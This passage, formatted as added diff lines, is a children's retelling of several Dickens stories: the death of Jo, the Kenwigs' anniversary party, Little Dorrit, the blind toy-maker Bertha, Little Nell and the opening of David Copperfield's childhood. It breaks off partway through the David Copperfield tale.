+friend had died in great poverty and misery, with no one near him to
+care whether he lived or not.
+
+A few days after the funeral, while Jo was still living on Mr. Snagsby's
+half-crown, he was standing at his crossing as the day closed in, when a
+lady, closely veiled and plainly dressed, came up to him.
+
+"Are you the boy Jo who was examined at the Inquest?" she asked.
+
+"That's me," said Jo.
+
+"Come farther up the court, I want to speak to you."
+
+"Wot, about him as was dead? Did you know him?"
+
+"How dare you ask me if I knew him?"
+
+"No offence, my lady," said Jo humbly.
+
+"Listen and hold your tongue. Show me the place where he lived, then
+where he died, then where they buried him. Go in front of me, don't look
+back once, and I'll pay you well."
+
+  [Illustration: JO AND THE POLICEMAN.
+  "I'M ALWAYS A MOVING ON."]
+
+Jo takes her to each of the places she wants to see. Then she draws off
+her glove, and Jo sees that she has sparkling rings on her fingers. She
+drops a coin into his hand and is gone. Jo holds the coin to the light
+and sees to his joy that it is a golden sovereign.
+
+But people in Jo's position in life find it hard to change a sovereign,
+for who will believe that they can come by it honestly? So poor little
+Jo didn't get much of the sovereign for himself, for, as he afterwards
+told Mr. Snagsby--
+
+"I had to pay five bob down in Tom-all-Alones before they'd square it
+for to give me change, and then a young man he thieved another five
+while I was asleep, and a boy he thieved ninepence, and the landlord he
+stood drains round with a lot more of it."
+
+As time went on Jo's troubles began in earnest. The police turned him
+away from his crossing, and wheresoever they met him ordered him "to
+move on."
+
+Once a policeman, angry to find that Jo hadn't moved on, seized him by
+the arm and dragged him down to Mr. Snagsby's.
+
+"What's the matter, constable?" asked Mr. Snagsby.
+
+"This boy's as obstinate a young gonoph as I know: although repeatedly
+told to, he won't move on."
+
+"I'm always amoving on," cried Jo. "Oh, my eye, where am I to move to?"
+
+"My instructions don't go to that," the constable answered; "my
+instructions are that you're to keep moving on. Now the simple question
+is, sir," turning to Mr. Snagsby, "whether you know him. He says you
+do."
+
+"Yes, I know him."
+
+"Very well, I leave him here; but mind you keep moving on."
+
+The constable then moved on himself, leaving Jo at Mr. Snagsby's. There
+was a little tea-party there that evening, and when Jo was at last
+allowed to go, Mr. Snagsby followed him to the door and filled his hands
+with the remains of the little feast they had had upstairs.
+
+And now Jo began to find life harder and rougher than ever. He lost his
+crossing altogether, and spent day after day in moving on. He remembered
+a poor woman he had once done a kindness to, who had told him she lived
+at St. Albans, and that a lady there had been very good to her. "Perhaps
+she'll be good to me," thought Jo, and he started off to go to St.
+Albans.
+
+One Saturday night Jo reached that town very tired and very ill. Happily
+for him the woman met him and took him into her cottage. While he was
+resting there a lady came in and asked him very kindly what was the
+matter.
+
+"I'm abeing froze and then burnt up, and then froze and burnt up again,
+ever so many times over in an hour. And my head's all sleepy, and all
+agoing round like, and I'm so dry, and my bones is nothing half so much
+bones as pain."
+
+"Where are you going?"
+
+"Somewheres," replied Jo, "I'm a-being moved on, I am."
+
+"Well, to-night you must come with me, and I'll make you comfortable."
+So Jo went with the lady to a great house not far off, and there they
+made a bed for him, and brought him tempting wholesome food. Everyone
+was very kind to him, but something frightened Jo, and he felt he could
+not stay there, and he ran out into the cold night air. Where he went he
+could never remember, for when he next came to his senses he found
+himself in a hospital. He stayed there for some weeks, and was then
+discharged, though still weak and ill. He was very thin, and when he
+drew a breath his chest was very painful. "It draws," said Jo, "as heavy
+as a cart."
+
+Now, a certain young doctor who was very kind to poor people, was
+walking through Tom-all-Alones one morning, when he saw a ragged figure
+coming along, crouching close to the dirty wall. It was Jo. The young
+doctor took pity on Jo. "Come with me," he said, "and I will find you a
+better place than this to stay in," for he saw that the lad was very,
+very ill. So Jo was taken to a clean little room, and bathed, and had
+clean clothes, and good food, and kind people about him once more, but
+he was too ill now, far too ill, for anything to do him any good.
+
+"Let me lie here quiet," said poor Jo, "and be so kind anyone as is
+passin' nigh where I used to sweep, as to say to Mr. Snagsby as Jo, wot
+he knew once, is amoving on."
+
+One day the young doctor was sitting by him, when suddenly Jo made a
+strong effort to get out of bed.
+
+"Stay, Jo--where now?"
+
+"It's time for me to go to that there burying-ground."
+
+"What burying-ground, Jo?"
+
+"Where they laid him as was very good to me, very good to me indeed he
+was. It's time for me to go down to that there burying-ground, sir, and
+ask to be put along of him. I wants to go there and be buried. Will you
+promise to have me took there and laid along with him?"
+
+"I will indeed."
+
+"Thankee, sir. There's a step there as I used to sweep with my broom.
+It's turned very dark, sir, is there any light coming?"
+
+"It's coming fast, Jo."
+
+Then silence for a while.
+
+"Jo, my poor fellow----!"
+
+"I can hear you, sir, in the dark."
+
+"Jo, can you say what I say?"
+
+"I'll say anything you say, sir, for I knows it's good."
+
+"Our Father."
+
+"Our Father--yes, that's very good, sir."
+
+"Which art in Heaven."
+
+"Art in Heaven. Is the light a-coming, sir?"
+
+"It's close at hand. Hallowed be Thy name."
+
+"Hallowed be Thy"--
+
+The light had come. Oh yes! the light had come, for Jo was dead.
+
+
+
+
+THE LITTLE KENWIGS.
+
+
+Mrs. Kenwigs was the wife of an ivory turner, and though they only had a
+very humble home of two rooms in a dingy-looking house in a small
+street, they had great pretensions to being "genteel." The little Miss
+Kenwigs had their flaxen hair plaited into pig-tails and tied with blue
+ribbons, and wore little white trousers with frills round their ankles,
+the highest fashion of that day; besides being dressed with such
+elegance, the two eldest girls went twice a week to a dancing school.
+Mrs. Kenwigs, too, had an uncle who collected the water rate, and she
+was therefore considered a person of great distinction, with quite the
+manners of a lady. On the eighth anniversary of their wedding day, Mr.
+and Mrs. Kenwigs invited a party of friends to supper to celebrate the
+occasion. The four eldest children were to be allowed to sit up to
+supper, and the uncle, Mr. Lillyvick, had promised to come. The baby was
+put to bed in a little room lent by one of the lady guests, and a little
+girl hired to watch him. All the company had assembled when a ring was
+heard, and Morleena, whose name had been _invented by Mrs. Kenwigs_
+specially for her, ran down to open the door and lead in her
+distinguished great-uncle, then the supper was brought in.
+
+The table was cleared; Mr. Lillyvick established in the arm-chair by the
+fireside; the four little girls arranged on a small form in front of the
+company with their flaxen tails towards them; Mrs. Kenwigs was suddenly
+dissolved in tears and sobbed out--
+
+"They are so beautiful!"
+
+"Oh, dear," said all the ladies, "so they are; it's very natural you
+should feel proud of that; but don't give way, don't."
+
+"I can--not help it, and it don't signify," sobbed Mrs. Kenwigs: "oh!
+they're too beautiful to live, much too beautiful."
+
+On hearing this dismal prophecy, all four little girls screamed until
+their light flaxen tails vibrated again, and rushed to bury their heads
+in their mother's lap.
+
+At length she was soothed, and the children calmed down; while the
+ladies and gentlemen all said they were sure they would live for many
+many years, and there was no occasion for their mother's distress: and
+as the children were not so remarkably lovely, this was quite true.
+
+Then Mr. Lillyvick talked to the company about his niece's marriage, and
+said graciously that he had always found Mr. Kenwigs a very honest,
+well-behaved, upright, and respectable sort of man, and shook hands with
+him, and then Morleena and her sisters kissed their uncle and most of
+the guests.
+
+Then Miss Petowker, who could sing and recite in a way that brought
+tears to Mrs. Kenwigs' eyes, remarked--
+
+"Oh, dear Mrs. Kenwigs, while Mr. Noggs is making that punch to drink
+happy returns in, do let Morleena go through that figure dance before
+Mr. Lillyvick."
+
+"Well, I'll tell you what," said Mrs. Kenwigs. "Morleena shall do the
+steps, if uncle can persuade Miss Petowker to recite us the
+'Blood-Drinker's Burial' afterwards."
+
+Everyone clapped their hands and stamped their feet at this proposal,
+but Miss Petowker said, "You know I dislike doing anything professional
+at private parties."
+
+"Oh, but not here!" said Mrs. Kenwigs. "You might as well be going
+through it in your own room: besides, the occasion."
+
+"I can't resist that," interrupted Miss Petowker, "anything in my humble
+power, I shall be delighted to do."
+
+In reality Mrs. Kenwigs and Miss Petowker had arranged all the
+entertainment between them beforehand, but had settled that a little
+pressing on each side would look more natural. Then Miss Petowker hummed
+a tune, and Morleena danced. It was a very beautiful figure, with a
+great deal of work for the arms, and gained much applause. Then Miss
+Petowker was entreated to begin her recitation, so she let down her back
+hair, and went through the performance with great spirit, and died
+raving mad in the arms of a bachelor friend who was to rush out and
+catch her at the words "in death expire," to the great delight of the
+audience and the terror of the little Kenwigses, who were nearly
+frightened into fits.
+
+Just as the punch was ready, a knock at the door startled them all. But
+it was only a friend of Mr. Noggs, who lived upstairs, and who had come
+down to say that Mr. Noggs was wanted.
+
+Mr. Noggs hurried out, saying he would be back soon, and presently
+startled them all by rushing in, snatching up a candle and a tumbler of
+hot punch, and darting out again.
+
+Now, it happened unfortunately that the tumbler of punch was the very
+one that Mr. Lillyvick was just going to lift to his lips, and the great
+man--the rich relation--who had it in his power to make Morleena and her
+sisters heiresses--and whom everyone was most anxious to please--was
+offended.
+
+Poor Mr. Kenwigs endeavored to soothe him, but only made matters worse.
+Mr. Lillyvick demanded his hat, and was only induced to remain by Mrs.
+Kenwigs' tears and the entreaties of the entire company.
+
+  [Illustration: THE LITTLE KENWIGS.
+  "THEY ARE SO BEAUTIFUL."]
+
+"There, Kenwigs," said Mr. Lillyvick, "and let me tell you, to show you
+how much out of temper I was, that if I had gone away without another
+word, it would have made no difference respecting that pound or two
+which I shall leave among your children when I die."
+
+"Morleena Kenwigs," cried her mother, "go down on your knees to your
+dear uncle, and beg him to love you all his life through; for he's more
+an angel than a man, and I've always said so."
+
+Just as all were happy again, everyone was startled by a rapid
+succession of the loudest and shrillest shrieks, apparently coming from
+the room where the baby was asleep.
+
+"My baby, my blessed, blessed, blessed, blessed baby! My own darling,
+sweet, innocent Lillyvick! Let me go-o-o-o," screamed Mrs. Kenwigs.
+
+Mr. Kenwigs rushed out, and was met at the door of the bedroom by a
+young man with the baby (upside down) in his arms, who came out so
+quickly that he knocked Mr. Kenwigs down; handing the child to his
+mother, he said, "Don't be alarmed, it's all out, it's all over--the
+little girl, being tired, I suppose, fell asleep and set her hair on
+fire. I heard her cries and ran up in time to prevent her setting fire
+to anything else. The child is not hurt: I took it off the bed myself
+and brought it here to convince you."
+
+After they had all talked over this last excitement, and discussed
+little Lillyvick's deliverer, the collector pulled out his watch and
+announced that it was nearly two o'clock, and as the poor children had
+been for some time obliged to keep their little eyes open with their
+little forefingers, the company took leave, declaring they had never
+spent such a delightful evening, and that they wished Mr. and Mrs.
+Kenwigs had a wedding-day once a week.
+
+
+
+
+LITTLE DORRIT.
+
+
+Many years ago, when people could be put in prison for debt, a poor
+gentleman, who was unfortunate enough to lose all his money, was brought
+to the Marshalsea prison. As there seemed no prospect of being able to
+pay his debts, his wife and their two little children came to live there
+with him. The elder child was a boy of three; the younger a little girl
+of two years old, and not long afterwards another little girl was born.
+The three children played in the courtyard, and were happy, on the
+whole, for they were too young to remember a happier state of things.
+
+But the youngest child, who had never been outside the prison walls, was
+a thoughtful little creature, and wondered what the outside world could
+be like. Her great friend, the turnkey, who was also her godfather,
+became very fond of her, and as soon as she could walk and talk, he
+bought a little arm-chair and stood it by his fire at the lodge, and
+coaxed her with cheap toys to come and sit with him.
+
+One day, she was sitting in the lodge gazing wistfully up at the sky
+through the barred window. The turnkey, after watching her some time,
+said:--
+
+"Thinking of the fields, ain't you?"
+
+"Where are they?" she asked.
+
+"Why, they're--over there, my dear," said the turnkey, waving his key
+vaguely, "just about there."
+
+"Does anybody open them and shut them? Are they locked?"
+
+"Well," said the turnkey, discomfited, "not in general."
+
+"Are they pretty, Bob?" She called him Bob, because he wished it.
+
+"Lovely. Full of flowers. There's buttercups, and there's daisies, and
+there's--" here he hesitated, not knowing the names of many
+flowers--"there's dandelions, and all manner of games."
+
+"Is it very pleasant to be there, Bob?"
+
+"Prime," said the turnkey.
+
+"Was father ever there?"
+
+"Hem!" coughed the turnkey. "O yes, he was there, sometimes."
+
+"Is he sorry not to be there now?"
+
+"N--not particular," said the turnkey.
+
+"Nor any of the people?" she asked, glancing at the listless crowd
+within. "O are you quite sure and certain, Bob?"
+
+At this point, Bob gave in and changed the subject. But after this chat,
+the turnkey and little Amy would go out on his free Sunday afternoons to
+some meadows or green lanes, and she would pick grass and flowers to
+bring home, while he smoked his pipe.
+
+When Amy was only eight years old, her mother died, and the poor father
+was more helpless and broken-down than ever, and as Fanny was a careless
+child, and Edward idle, the little one, who had the bravest and truest
+heart, was inspired by her love and unselfishness to be the little
+mother of the forlorn family, and struggled to get some little education
+for herself and her brother and sister. She went as often as she could
+to an evening school outside, and managed to get her brother and sister
+sent to a day-school at intervals, during three or four years. At
+thirteen, she could read and keep accounts. Once, amongst the debtors, a
+dancing-master came in, and as Fanny had a great desire to learn
+dancing, little Amy went timidly to the new prisoner, and said,
+
+"If you please, I was born here, sir."
+
+"Oh! You are the young lady, are you?" said he.
+
+"Yes, sir."
+
+"And what can I do for you?"
+
+"Nothing for me, sir, thank you; but if, while you stay here, you could
+be so kind as to teach my sister cheap."
+
+"My child, I'll teach her for nothing," said the dancing-master.
+
+Fanny was a very apt pupil, and the good-natured dancing-master went on
+giving her lessons even after his release, and Amy was so emboldened
+with the success of her attempt that, when a milliner came in, she went
+to her on her own behalf, and begged her to teach her.
+
+"I am afraid you are so weak, you see," the milliner objected.
+
+"I don't think I am weak, ma'am."
+
+"And you are so very, very little, you see," the milliner still
+objected.
+
+  [Illustration: THE BLIND TOY MAKER.]
+
+  [Illustration: LITTLE DORRIT AND MAGGIE.
+  "SHE HAS NEVER GROWN OLDER SINCE."]
+
+"Yes, I am afraid I am very little indeed," returned the child, and
+began to sob, so that the milliner was touched, and took her in hand and
+made her a clever workwoman.
+
+But the father could not bear the idea that his children should work for
+their living, so they had to keep it all secret. Fanny became a dancer,
+and lived with a poor old uncle, who played the clarionet at the small
+theatre where Fanny was engaged. Amy, or little Dorrit as she was
+generally called, her father's name being Dorrit, earned small sums by
+going out to do needlework. She got Edward into a great many situations,
+but he was an idle, careless fellow, and always came back to be a burden
+and care to his poor little sister. At last she saved up enough to send
+him out to Canada.
+
+"God bless you, dear Tip" (his name had been shortened to Tip), "don't
+be too proud to come and see us when you have made your fortune," she
+said.
+
+But Tip only went as far as Liverpool, and appeared once more before his
+poor little second mother, in rags, and with no shoes.
+
+In the end, after another trial, Tip returned telling Amy, that this
+time he was "one of the regulars."
+
+"Oh! Don't say you are a prisoner, Tip. Don't, don't!"
+
+But he was--and Amy nearly broke her heart. So with all these cares and
+worries struggling bravely on, little Dorrit passed the first twenty-two
+years of her life. Then the son of a lady, Mrs. Clennem, to whose house
+Amy went to do needlework, was interested in the pale, patient little
+creature, and learning her history resolved to do his best to try and
+get her father released, and to help them all.
+
+One day when he was walking home with little Dorrit a voice was heard
+calling, "Little Mother, Little Mother," and a strange figure came
+bouncing up to them and fell down, scattering her basketful of potatoes
+on the ground. "Oh Maggie," said Little Dorrit, "what a clumsy child you
+are!"
+
+She was about eight and twenty, with large bones, large features, large
+hands and feet, large eyes and no hair. Little Dorrit told Mr. Clennem
+that Maggie was the grand-daughter of her old nurse, and that her
+grandmother had been very unkind to her and beat her. "When Maggie was
+ten years old, she had a fever, and she has never grown older since."
+
+"Ten years old," said Maggie. "But what a nice hospital! So comfortable
+wasn't it? Such a Ev'nly place! Such beds there is there! Such
+lemonades! Such oranges! Such delicious broth and wine! Such chicking!
+Oh, AIN'T it a delightful place to stop at!"
+
+"Then when she came out, her grandmother did not know what to do with
+her, and was very unkind. But after some time, Maggie tried to improve,
+and was very attentive and industrious, and now she can earn her own
+living entirely, sir!"
+
+Little Dorrit did not say who had taken pains to teach and encourage the
+poor half-witted creature, but Mr. Clennem guessed from the name Little
+Mother, and the fondness of the poor creature for Amy.
+
+Thanks to Mr. Clennem, a great change took place in the fortunes of the
+family, and not long after this wretched night, it was discovered that
+Mr. Dorrit was owner of a large property, and they became very rich.
+
+When, in his turn, Mr. Clennem became a prisoner in the Marshalsea
+little Dorrit came to comfort and console him, and after many changes of
+fortune, she became his wife, and they lived happy ever after.
+
+
+
+
+THE BLIND TOY-MAKER.
+
+
+Caleb Plummer and his blind daughter lived alone in a little cracked
+nutshell of a house. They were toy-makers, and their house was stuck
+like a toadstool on to the premises of Messrs. Gruff & Tackleton, the
+Toy Merchants for whom they worked,--the latter of whom was himself both
+Gruff and Tackleton in one.
+
+I am saying that Caleb and his blind daughter lived here. I should say
+Caleb did, his daughter lived in an enchanted palace, which her father's
+love had created for her. She did not know that the ceilings were
+cracked, the plaster tumbling down, and the wood work rotten; that
+everything was old and ugly and poverty-stricken about her and that her
+father was a grey-haired stooping old man, and the master for whom they
+worked a hard and brutal taskmaster;--oh, dear no, she fancied a pretty,
+cosy, compact little home full of tokens of a kind master's care, a
+smart, brisk, gallant-looking father, and a handsome and noble-looking
+Toy Merchant who was an angel of goodness.
+
+This was all Caleb's doings. When his blind daughter was a baby he had
+determined in his great love and pity for her, that her deprivation
+should be turned into a blessing, and her life as happy as he could make
+it. And she was happy; everything about her she saw with her father's
+eyes, in the rainbow-coloured light with which it was his care and
+pleasure to invest it.
+
+Bertha sat busily at work, making a doll's frock, whilst Caleb bent over
+the opposite side of the table painting a doll's house.
+
+"You were out in the rain last night in your beautiful new great-coat,"
+said Bertha.
+
+"Yes, in my beautiful new great-coat," answered Caleb, glancing to where
+a roughly made garment of sack-cloth was hung up to dry.
+
+"How glad I am you bought it, father."
+
+"And of such a tailor! quite a fashionable tailor, a bright blue cloth,
+with bright buttons; it's a deal too good a coat for me."
+
+"Too good!" cried the blind girl, stopping to laugh and clap her
+hands--"as if anything was too good for my handsome father, with his
+smiling face, and black hair, and his straight figure."
+
+Caleb began to sing a rollicking song.
+
+"What, you are singing, are you?" growled a gruff voice, as Mr.
+Tackleton put his head in at the door. "_I_ can't afford to sing, I hope
+you can afford to work too. Hardly time for both, I should say."
+
+"You don't see how the master is winking at me," whispered Caleb in his
+daughter's ear--"such a joke, pretending to scold, you know."
+
+The blind girl laughed and nodded, and taking Mr. Tackleton's reluctant
+hand, kissed it gently. "What is the idiot doing?" grumbled the Toy
+Merchant, pulling his hand roughly away.
+
+"I am thanking you for the beautiful little tree," replied Bertha,
+bringing forward a tiny rose-tree in blossom, which Caleb had made her
+believe was her master's gift, though he himself had gone without a meal
+or two to buy it.
+
+"Here's Bedlam broke loose. What does the idiot mean?" snarled Mr.
+Tackleton; and giving Caleb some rough orders, he departed without the
+politeness of a farewell.
+
+"If you could only have seen him winking at me all the time, pretending
+to be so rough to escape thanking," exclaimed Caleb, when the door was
+shut.
+
+Now a very sad and curious thing had happened. Caleb, in his love for
+Bertha, had so successfully deceived her as to the real character of Mr.
+Tackleton, that she had fallen in love, not with her master, but with
+what she imagined him to be, and was happy in an innocent belief in his
+affection for her; but one day she accidently heard he was going to be
+married, and could not hide from her father the pain and bewilderment
+she felt at the news.
+
+"Bertha, my dear," said Caleb at length, "I have a confession to make to
+you; hear me kindly though I have been cruel to you." "You cruel to me!"
+cried Bertha, turning her sightless face towards him. "Not meaning it,
+my child! and I never suspected it till the other day. I have concealed
+things from you which would have given pain, I have invented things to
+please you, and have surrounded you with fancies."
+
+"But living people are not fancies, father, you cannot change them."
+
+"I have done so, my child, God forgive me! Bertha, the man who is
+married to-day is a hard master to us both, ugly in his looks and in his
+nature, and hard and heartless as he can be."
+
+"Oh heavens! how blind I have been, how could you father, and I so
+helpless!" Poor Caleb hung his head.
+
+"Answer me father," said Bertha. "What is my home like?"
+
+"A poor place, Bertha, a very poor and bare place! indeed as little able
+to keep out wind and weather as my sackcloth coat."
+
+"And the presents that I took such care of, that came at my wish, and
+were so dearly welcome?" Caleb did not answer.
+
+"I see, I understand," said Bertha, "and now I am looking at you, at my
+kind, loving compassionate father, tell me what is he like?"
+
+"An old man, my child, thin, bent, grey-haired, worn-out with hard work
+and sorrow, a weak, foolish, deceitful old man."
+
+The blind girl threw herself on her knees before him, and took his grey
+head in her arms. "It is my sight, it is my sight restored," she cried.
+"I have been blind, but now I see, I have never till now truly seen my
+father. Father, there is not a grey hair on your head that shall be
+forgotten in my prayers and thanks to Heaven."
+
+"My Bertha!" sobbed Caleb, "and the brisk smart father in the blue
+coat--he's gone, my child."
+
+"Dearest father, no, he's not gone, nothing is gone. I have been happy
+and contented, but I shall be happier and more contented still, now that
+I know what you are. I am _not_ blind, father, any longer."
+
+
+
+
+LITTLE NELL.
+
+
+The house was one of those receptacles for old and curious things, which
+seem to crouch in odd corners of the town; and in the old, dark, murky
+rooms, there lived alone together an old man and a child--his
+grandchild, little Nell. Solitary and monotonous as was her life, the
+innocent and cheerful spirit of the child found happiness in all things,
+and through the dim rooms of the old curiosity shop little Nell went
+singing, moving with gay and lightsome step.
+
+But gradually over the old man, to whom she was so tenderly attached,
+there stole a sad change. He became thoughtful, dejected, and wretched.
+He had no sleep or rest but that which he took by day in his easy chair;
+for every night, and all night long, he was away from home.
+
+At last a raging fever seized him, and as he lay delirious or insensible
+through many weeks, Nell learned that the house which sheltered them was
+theirs no longer; that in the future they would be very poor; that they
+would scarcely have bread to eat.
+
+At length the old man began to mend, but his mind was weakened. As the
+time drew near when they must leave the house, he made no reference to
+the necessity of finding other shelter. But a change came upon him one
+evening, as he and Nell sat silently together.
+
+"Let us speak softly, Nell," he said. "Hush! for if they knew our
+purpose they would say that I was mad, and take thee from me. We will
+not stop here another day. We will travel afoot through the fields and
+woods, and trust ourselves to God in the places where He dwells."
+
+The child's heart beat high with hope and confidence. To her it seemed
+that they might beg their way from door to door in happiness, so that
+they were together.
+
+When the day began to glimmer they stole out of the house, and passing
+into the street stood still.
+
+"Which way?" asked the child.
+
+The old man looked irresolutely and helplessly at her, and shook his
+head. It was plain that she was thenceforth his guide and leader. The
+child felt it, but had no doubts or misgivings, and putting her hand in
+his, led him gently away.
+
+They passed through the long, deserted streets, until these streets
+dwindled away, and the open country was about them. They walked all day,
+and slept that night at a small cottage where beds were let to
+travellers. The sun was setting on the second day of their journey,
+when, following a path which led to the town where they were to spend
+the night, they fell in with two travelling showmen, bound for the races
+at a neighboring town.
+
+They made two long days' journey with their new companions. The men were
+rough and strange in their ways, but they were kindly, too; and in the
+bewildering noise and movement of the race-course, where she tried to
+sell some little nosegays, Nell would have clung to them for protection,
+had she not learned that these men suspected that she and the old man
+had left their home secretly, and that they meant to take steps to have
+them sent back and taken care of. Separation from her grandfather was
+the greatest evil Nell could dread. She seized her opportunity to evade
+the watchfulness of the two men, and hand in hand she and the old man
+fled away together.
+
+That night they reached a little village in a woody hollow. The village
+schoolmaster, attracted by the child's sweetness and modesty, gave them
+a lodging for the night; nor would he let them leave him until two days
+more had passed.
+
+They journeyed on when the time came that they must wander forth again,
+by pleasant country lanes. The afternoon had worn away into a beautiful
+evening, when they came to a caravan drawn up by the road. It was a
+smart little house upon wheels, and at the door sat a stout and
+comfortable lady, taking tea. The tea-things were set out upon a drum,
+covered with a white napkin. And there, as if at the most convenient
+table in the world, sat this roving lady, taking her tea and enjoying
+the prospect. Of this stout lady Nell ventured to ask how far it was to
+the neighboring town. And the lady, noticing that the tired child could
+hardly repress a tear at hearing that eight weary miles lay still before
+them, not only gave them tea, but offered to take them on in the
+caravan.
+
+Now this lady of the caravan was the owner of a wax-work show, and her
+name was Mrs. Jarley. She offered Nell employment in pointing out the
+figures in the wax-work show to the visitors who came to see it,
+promising in return both board and lodging for the child and her
+grandfather, and some small sum of money. This offer Nell was thankful
+to accept, and for some time her life and that of the poor, vacant, fond
+old man, passed quietly and almost happily.
+
+One night Nell and her grandfather went out to walk. A terrible
+thunder-storm coming on, they were forced to take refuge in a small
+public-house where men played cards. The old man watched them with
+increasing interest and excitement, until his whole appearance underwent
+a complete change. His face was flushed and eager, his teeth set. He
+seized Nell's little purse, and in spite of her entreaties joined in the
+game, gambling with such a savage thirst for gain that the distressed
+and frightened child could almost better have borne to see him dead. The
+night was far advanced before the play came to an end, and they were
+forced to remain where they were until the morning. And in the night the
+child was awakened from her troubled sleep to find a figure in the room.
+It was her grandfather himself, his white face pinched and sharpened by
+the greediness which made his eyes unnaturally bright, counting the
+money of which his hands were robbing her.
+
+Evening after evening, after that night, the old man would steal away,
+not to return until the night was far spent, demanding, wildly, money.
+And at last there came an hour when the child overheard him, tempted
+beyond his feeble powers of resistence, undertake to find more money to
+feed the desperate passion which had laid hold upon his weakness by
+robbing Mrs. Jarley.
+
+That night the child took her grandfather by the hand and led him forth;
+sustained by one idea--that they were flying from disgrace and crime,
+and that her grandfather's preservation must depend solely upon her
+firmness; the old man following as though she had been an angel
+messenger sent to lead him where she would.
+
+They slept in the open air that night, and on the following morning some
+men offered to take them a long distance on their barge. These men,
+though they were not unkindly, drank and quarrelled among themselves, to
+Nell's inexpressible terror. It rained, too, heavily, and she was wet
+and cold. At last they reached the great city whither the barge was
+bound, and here they wandered up and down, being now penniless, and
+watched the faces of those who passed, to find among them a ray of
+encouragement or hope.
+
+They laid down that night, and the next night too, with nothing between
+them and the sky; a penny loaf was all they had had that day, and when
+the third morning came, it found the child much weaker, yet she made no
+complaint. Faint and spiritless as they were, the streets were
+insupportable; and the child, throughout the remainder of that hard day,
+compelled herself to press on, that they might reach the country.
+Evening was drawing on; they were dragging themselves through the last
+street. Seeing a traveller on foot before them, she shot on before her
+grandfather and began in a few faint words to implore the stranger's
+help. He turned his head, the child uttered a wild shriek, and fell
+senseless at his feet. It was the village schoolmaster who had been so
+kind to them before.
+
+The good man took her in his arms and carried her quickly to a little
+inn hard by, where she was tenderly put to bed and where a doctor
+arrived with all speed. The schoolmaster, as it appeared, was on his way
+to a new home. And when the child had recovered somewhat from her
+exhaustion, it was arranged that she and her grandfather should
+accompany him to the village whither he was bound, and that he should
+endeavor to find them some humble occupation by which they could
+subsist.
+
+It was a secluded village, lying among the quiet country scenes Nell
+loved. And here, her grandfather being tranquil and at rest, a great
+peace fell upon the spirit of the child. Often she would steal into the
+church, and sit down among the quiet figures carved upon the tombs. What
+if the spot awakened thoughts of death? It would be no pain to sleep
+here. For the time was drawing nearer every day when Nell was to rest
+indeed. She never murmured or complained, but faded like a light upon a
+summer's evening and died. Day after day and all day long, the old man,
+broken-hearted and with no love or care for anything in life, would sit
+beside her grave with her straw hat and the little basket she had been
+used to carry, waiting till she should come to him again. At last they
+found him lying dead upon the stone. And in the church where they had
+often prayed and mused and lingered, hand in hand, the child and the old
+man slept together.
+
+
+
+
+LITTLE DAVID COPPERFIELD.
+
+
+Little David Copperfield lived with his mother in a pretty house in the
+village of Blunderstone in Suffolk. His father died before David could
+remember anything and he had neither brothers nor sisters. He was fondly
+loved by his pretty young mother, and their kind, good servant Peggotty,
+and David was a very happy little fellow. They had very few friends, and
+the only relation Mrs. Copperfield talked about was an aunt of David's
+father, a tall and rather terrible old lady, from all accounts. One
+visitor, a tall dark gentleman, David did not like at all, and he was
+rather inclined to be jealous that his mother should be friendly with
+the stranger.
+
+One day Peggotty, the servant, asked David if he would like to go with
+her on a visit to her brother at Yarmouth.
+
+"Is your brother an agreeable man, Peggotty?" he enquired.
+
+"Oh, what an agreeable man he is!" cried Peggotty. "Then there's the
+sea, and the boats and ships, and the fishermen, and the beach. And 'Am
+to play with."
+
+Ham was her nephew. David was quite anxious to go when he heard of all
+these delights; but his mother, what would she do all alone? Peggotty
+told him his mother was going to pay a visit to some friends, and would
+be sure to let him go. So all was arranged, and they were to start the
+next day in the carrier's cart. When they arrived at Yarmouth, they
+found Ham waiting to meet them. He was a great strong fellow, six feet
+high, and took David on his back and the box under his arm to carry both
+to the house. David was delighted to find that this house was made of a
+real big black boat, with a door and windows cut in the side, and an
+iron funnel sticking out of the roof for a chimney. Inside, it was very
+cosy and clean, and David had a tiny bedroom in the stern. He was very
+much pleased to find a dear little girl, about his own age, to play
+with, and soon discovered that she and Ham were orphans, children of Mr.
+Peggotty's brother and sister, whose fathers had been drowned at sea, so
+kind Mr. Peggotty had taken them to live with him. David was very happy
+in this queer house, playing on the beach with Em'ly, as they called the
+little girl, and told her all about his happy home; and she told him how
+her father had been drowned at sea before she came to live with her
+uncle. David said he thought Mr. Peggotty must be a very good man.
+
+"Good!" said Em'ly. "If ever I was to be a lady, I'd give him a sky-blue
+coat with diamond buttons, nankeen trousers, a red velvet waistcoat, a
+cocked hat, a large gold watch, a silver pipe, and a box of money!"
+
+David was quite sorry to leave these kind people and his dear little
+companion, but still he was glad to think he should get back to his own
+dear mamma. When he reached home, however, he found a great change. His
+mother was married to the dark man David did not like, whose name was
+Mr. Murdstone, and he was a stern, hard man, who had no love for little
+David, and did not allow his mother to pet and indulge him as she had
+done before. Mr. Murdstone's sister came to live with them, and as she
+was even more difficult to please than her brother, and disliked boys,
+David's life was no longer a happy one. He had always had lessons with
+his mother, and as she was patient and gentle, he had enjoyed learning
+to read, but now he had a great many very hard lessons to do, and was so
+frightened and shy when Mr. and Miss Murdstone were in the room, that he
+did not get on at all well, and was continually in disgrace. His only
+pleasure was to go up into the little room at the top of the house
+where he had found a number of books that had belonged to his own
+father, and he would sit and read Robinson Crusoe, and many tales of
+travels and adventures.
+
+But one day he got into sad trouble over his lessons, and Mr. Murdstone
+was very angry, and took him away from his mother and beat him with a
+cane. David had never been beaten in his life before, and was so
+maddened by pain and rage that he bit Mr. Murdstone's hand! Now, indeed,
+he had done something to deserve the punishment, and Mr. Murdstone in a
+fury, beat him savagely, and left him sobbing and crying on the floor.
+David was kept locked up in his room for some days, seeing no one but
+Miss Murdstone, who brought him his food. At last, one night, he heard
+his name whispered at the key hole.
+
+"Is that you, Peggotty?" he asked, groping his way to the door.
+
+"Yes, my precious Davy. Be as soft as a mouse or the cat will hear us."
+
+David understood she meant Miss Murdstone, whose room was quite near.
+"How's mamma, Peggotty dear? Is she very angry with me?" he whispered.
+
+"No--not very," she said.
+
+"What is going to be done with me, dear Peggotty, do you know?" asked
+poor David, who had been wondering all these long, lonely days.
+
+"School--near London--"
+
+"When, Peggotty?"
+
+"To-morrow," answered Peggotty.
+
+"Shan't I see mamma?"
+
+"Yes--morning," she said, and went on to promise David she would always
+love him, and take the greatest care of his dear mamma, and write him
+every week.
+
+The next morning David saw his mother, very pale and with red eyes. He
+ran to her arms and begged her to forgive him.
+
